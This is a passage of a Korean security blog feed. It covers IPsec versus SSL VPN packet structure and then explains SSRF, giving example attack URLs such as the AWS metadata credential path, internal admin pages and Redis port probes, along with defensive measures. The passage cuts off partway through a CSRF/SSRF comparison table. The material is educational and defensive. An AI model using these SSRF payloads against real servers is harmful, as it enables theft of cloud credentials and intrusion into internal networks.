&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&lt;b&gt;IPsec VPN의 패킷 구조&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;204&quot; data-start=&quot;117&quot; data-ke-size=&quot;size16&quot;&gt;IPsec은 크게 두 가지 모드에서 동작합니다:&lt;br /&gt;✅&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;전송 모드 (Transport Mode)&lt;/b&gt;&lt;br /&gt;✅&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;터널 모드 (Tunnel Mode)&lt;/b&gt;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;251&quot; data-start=&quot;211&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;251&quot; data-start=&quot;211&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;IPsec 전송 모드 (Transport Mode)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;361&quot; data-start=&quot;253&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;305&quot; data-start=&quot;253&quot;&gt;IPsec 헤더(ESP or AH)는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;원래 IP 패킷의 IP 헤더 뒤에 삽입&lt;/b&gt;됩니다.&lt;/li&gt;
&lt;li data-end=&quot;358&quot; data-start=&quot;306&quot;&gt;IP 헤더는 그대로 두고, **페이로드(상위 계층 데이터)**만 암호화하거나 무결성 보호.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1746519263634&quot; class=&quot;css&quot; data-ke-language=&quot;css&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[IP Header][IPsec Header][Payload][IPsec Trailer][IPsec Auth]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;438&quot; data-start=&quot;433&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;487&quot; data-start=&quot;439&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;456&quot; data-start=&quot;439&quot;&gt;두 호스트 간 통신에 적합.&lt;/li&gt;
&lt;li data-end=&quot;487&quot; data-start=&quot;457&quot;&gt;네트워크 주소를 숨기지 않음 (IP 헤더는 평문).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;531&quot; data-start=&quot;494&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;531&quot; data-start=&quot;494&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;IPsec 터널 모드 (Tunnel Mode)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;589&quot; data-start=&quot;533&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;567&quot; data-start=&quot;533&quot;&gt;전체 IP 패킷(IP 헤더 + 페이로드)을 캡슐화.&lt;/li&gt;
&lt;li data-end=&quot;586&quot; data-start=&quot;568&quot;&gt;새 IP 헤더를 붙여서 전송.&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1746519297434&quot; class=&quot;css&quot; data-ke-language=&quot;css&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[New IP Header][IPsec Header][Original IP Header + Payload][IPsec Trailer][IPsec Auth]&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;691&quot; data-start=&quot;686&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;691&quot; data-start=&quot;686&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;755&quot; data-start=&quot;692&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;721&quot; data-start=&quot;692&quot;&gt;게이트웨이 간 VPN, 사이트 간 VPN에 적합.&lt;/li&gt;
&lt;li data-end=&quot;752&quot; data-start=&quot;722&quot;&gt;원래 IP 패킷 구조와 내부 네트워크 주소를 숨김.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;789&quot; data-start=&quot;761&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;789&quot; data-start=&quot;761&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;사용되는 주요 IPsec 헤더&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;914&quot; data-start=&quot;790&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;836&quot; data-start=&quot;790&quot;&gt;&lt;b&gt;AH (Authentication Header):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;무결성과 인증만 제공.&lt;/li&gt;
&lt;li data-end=&quot;914&quot; data-start=&quot;837&quot;&gt;&lt;b&gt;ESP (Encapsulating Security Payload):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;암호화 + 무결성 제공, 실제로는 ESP가 더 많이 사용됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;SSL VPN (Secure Sockets Layer VPN)&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;✅&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전송 계층(Layer 4)에서 작동.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;웹 브라우저 기반 접속&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;가능 (별도 클라이언트 설치 필요 없는 경우 많음).&lt;/li&gt;
&lt;li&gt;HTTPS(SSL/TLS)를 통해 데이터 암호화.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;✅&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;작동 방식:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 브라우저를 통해 SSL VPN 포털 접속.&lt;/li&gt;
&lt;li&gt;필요 시 특정 리소스(웹 애플리케이션, 파일 공유 등)에만 접속 허용.&lt;/li&gt;
&lt;li&gt;SSL/TLS 프로토콜을 사용해 암호화된 통신을 보장.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;✅&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;장점:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용하기 쉬움 (브라우저만으로 접속 가능).&lt;/li&gt;
&lt;li&gt;방화벽/NAT 환경에서도 잘 작동.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;✅&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;단점:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전체 네트워크 접속보다는 특정 애플리케이션/서비스 접속에 적합.&lt;/li&gt;
&lt;li&gt;대용량 트래픽 처리나 복잡한 네트워크 연결에는 한계.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;946&quot; data-start=&quot;921&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;SSL VPN의 패킷 구조&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1013&quot; data-start=&quot;948&quot; data-ke-size=&quot;size16&quot;&gt;SSL VPN은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;SSL/TLS 프로토콜&lt;/b&gt;을 사용합니다. 이건 웹 브라우저의 HTTPS 통신과 같은 구조예요.&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1048&quot; data-start=&quot;1020&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1048&quot; data-start=&quot;1020&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;SSL/TLS 패킷 기본 구조&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1083&quot; data-start=&quot;1050&quot; data-ke-size=&quot;size16&quot;&gt;SSL은 TCP 위에서 동작하므로, 구조는 다음과 같습니다:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1746519362862&quot; class=&quot;css&quot; data-ke-language=&quot;css&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[IP Header][TCP Header][SSL Record Header][SSL Payload (Encrypted App Data)]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1179&quot; data-start=&quot;1171&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1179&quot; data-start=&quot;1171&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 구성:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;1365&quot; data-start=&quot;1180&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1301&quot; data-start=&quot;1180&quot;&gt;&lt;b&gt;SSL Record Header (5 bytes):&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1301&quot; data-start=&quot;1219&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1244&quot; data-start=&quot;1219&quot;&gt;Content Type (1 byte)&lt;/li&gt;
&lt;li data-end=&quot;1277&quot; data-start=&quot;1247&quot;&gt;Protocol Version (2 bytes)&lt;/li&gt;
&lt;li data-end=&quot;1298&quot; data-start=&quot;1280&quot;&gt;Length (2 bytes)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1365&quot; data-start=&quot;1302&quot;&gt;&lt;b&gt;SSL Payload:&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1365&quot; data-start=&quot;1325&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1365&quot; data-start=&quot;1325&quot;&gt;암호화된 애플리케이션 데이터 (예: HTTP, RDP, FTP 등).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;IPsec VPN vs SSL VPN 비교&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;IPsec VPN&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;SSL VPN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;계층&lt;/td&gt;
&lt;td&gt;네트워크 계층 (Layer 3)&lt;/td&gt;
&lt;td&gt;전송 계층 (Layer 4)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;사용 방식&lt;/td&gt;
&lt;td&gt;전용 클라이언트 필요&lt;/td&gt;
&lt;td&gt;웹 브라우저 or 가벼운 클라이언트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;지원 범위&lt;/td&gt;
&lt;td&gt;전체 네트워크&lt;/td&gt;
&lt;td&gt;특정 애플리케이션/리소스 중심&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NAT/방화벽 호환성&lt;/td&gt;
&lt;td&gt;설정 복잡 (때로 문제)&lt;/td&gt;
&lt;td&gt;NAT, 방화벽 우회 용이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;보안성&lt;/td&gt;
&lt;td&gt;강력 (넓은 범위)&lt;/td&gt;
&lt;td&gt;강력 (특정 목적)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;사용 사례&lt;/td&gt;
&lt;td&gt;사무실 간 연결, 전체 사설망 접근&lt;/td&gt;
&lt;td&gt;원격 사용자, 특정 서비스 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>IPSecVPN</category>
      <category>SSLVPN</category>
      <category>VPN</category>
      <category>가상사설망</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/35</guid>
      <comments>https://defcon.tistory.com/35#entry35comment</comments>
      <pubDate>Wed, 7 May 2025 09:30:02 +0900</pubDate>
    </item>
    <item>
      <title>SSRF(Server-Side Request Forgery)의 개념, 그리고 CSRF와의 차이</title>
      <link>https://defcon.tistory.com/34</link>
      <description>&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;SSRF (Server-Side Request Forgery)란?&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;SSRF는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;서버 측에서 외부 또는 내부로 나가는 요청을 악용&lt;/b&gt;하는 취약점입니다.&lt;br /&gt;즉, 공격자가 서버에 특정 URL이나 IP를 요청하도록 유도해 서버가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;내부 네트워크&lt;/b&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;관리자 서버&lt;/b&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;로컬 리소스&lt;/b&gt;등에 요청을 보내게 만듭니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라이언트 &amp;rarr; 서버 &amp;rarr; (내부/외부) 리소스&lt;/li&gt;
&lt;li&gt;공격자는 서버를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;프록시&lt;/b&gt;처럼 사용하여 직접 접근 불가능한 자원에 간접 접근.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 악용 사례:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내부 관리 페이지 접근 (localhost, 127.0.0.1)&lt;/li&gt;
&lt;li&gt;메타데이터 서비스 접근 (예: AWS http://169.254.169.254)&lt;/li&gt;
&lt;li&gt;사설 네트워크(10.x.x.x, 192.168.x.x 등)로의 접근&lt;/li&gt;
&lt;li&gt;Redis, Memcached 같은 비인가 서비스 접근&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;SSRF 공격 시나리오 예시&lt;/b&gt;&lt;/h3&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;예시 1: 이미지 업로드 후 URL 검증&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹 애플리케이션에서 프로필 사진 URL을 입력받아 서버가 그 URL로 이미지를 가져오는 경우:&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;POST /upload
{
    &quot;image_url&quot;: &quot;http://example.com/cat.jpg&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;공격자는 이를 조작해:&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;http://localhost/admin
http://127.0.0.1:8000/private
http://169.254.169.254/latest/meta-data/iam/security-credentials
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 외부에서 차단된 자원에 접근하고, 내부 정보나 인증 토큰, 관리 패널 내용을 공격자에게 전달.&lt;/li&gt;
&lt;li&gt;특히 AWS의 메타데이터 서비스는 SSRF의 주요 타겟으로, 접근 시 임시 자격 증명을 훔칠 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;예시 2: 오픈 리디렉션 또는 DNS Rebinding&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;공격자가 자신의 도메인을&lt;span&gt;&amp;nbsp;&lt;/span&gt;example.attacker.com으로 입력 &amp;rarr; 서버는&lt;span&gt;&amp;nbsp;&lt;/span&gt;example.attacker.com의 IP를 외부로 보고 요청&lt;br /&gt;하지만 해당 도메인이 내부 IP (예: 127.0.0.1)로 리졸빙되면 SSRF 우회.&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;예시 3: 포트 스캐닝&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;서버에서 특정 포트로 요청이 가능한 경우:&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;http://internal-service:8080
http://10.0.0.1:6379 (Redis)
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;공격자가 서버를 이용해 내부 네트워크의 열린 포트를 식별, 추가 공격을 준비.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;SSRF 방어 기법&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. &lt;b&gt;요청 차단 / 화이트리스트 기반&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;외부 요청 필요 시&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;엄격한 화이트리스트&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;설정 (예: 신뢰할 수 있는 도메인만).&lt;/li&gt;
&lt;li&gt;사설 IP, localhost, 메타데이터 주소 등은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;블랙리스트&lt;/b&gt;로는 충분하지 않음 (우회 가능성이 높음).&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. &lt;b&gt;IP/포트 검증&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;입력받은 URL을 파싱 후,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;실제 요청 전&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;DNS를 재검사.&lt;/li&gt;
&lt;li&gt;내부 IP (10.x.x.x,&lt;span&gt;&amp;nbsp;&lt;/span&gt;172.16.x.x,&lt;span&gt;&amp;nbsp;&lt;/span&gt;192.168.x.x,&lt;span&gt;&amp;nbsp;&lt;/span&gt;127.0.0.1,&lt;span&gt;&amp;nbsp;&lt;/span&gt;::1)나 메타데이터 IP는 요청하지 않도록 필터링.&lt;/li&gt;
&lt;li&gt;잘못된 포트(예: 22, 3306, 6379 등)로의 요청 차단.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. &lt;b&gt;서버 측 아웃바운드 요청 제한&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;방화벽에서 웹서버, 애플리케이션 서버의 아웃바운드 요청을 엄격히 제한.&lt;/li&gt;
&lt;li&gt;필요 없는 외부/내부 요청은 네트워크 계층에서 차단.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;4. &lt;/span&gt;&lt;b&gt;라이브러리 안전성 확인&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;URL 요청 관련 라이브러리 (예:&lt;span&gt;&amp;nbsp;&lt;/span&gt;curl,&lt;span&gt;&amp;nbsp;&lt;/span&gt;requests)에서 자동 리디렉션 여부,&lt;span&gt;&amp;nbsp;&lt;/span&gt;file://&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 스킴 허용 여부 확인.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;5. &lt;b&gt;메타데이터 서비스 보호&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라우드 환경(AWS, GCP, Azure)에서는 인스턴스 메타데이터 서비스에 접근하는 IP를 방어 (예: IAM Role 권한 최소화, 메타데이터 서비스 V2 사용).&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;6. &lt;b&gt;로깅 및 모니터링&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버가 의도치 않은 IP로 요청하는 경우를 탐지할 수 있도록 로그와 모니터링 구축.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 51px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;b&gt;구분&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;내용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;취약점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;서버가 신뢰하지 않는 입력을 기반으로 외부/내부로 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;위험&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;내부 네트워크, 메타데이터 서비스, 민감 서비스 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;방어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;화이트리스트, 내부 IP/포트 차단, 네트워크 제한, 로깅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;CSRF vs SSRF 비교&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 272px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.139535%;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;width: 41.511628%;&quot;&gt;CSRF&lt;/td&gt;
&lt;td style=&quot;width: 45.348837%;&quot;&gt;SSRF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 13.139535%; text-align: center;&quot;&gt;&lt;b&gt;뜻&lt;/b&gt;&lt;/td&gt;
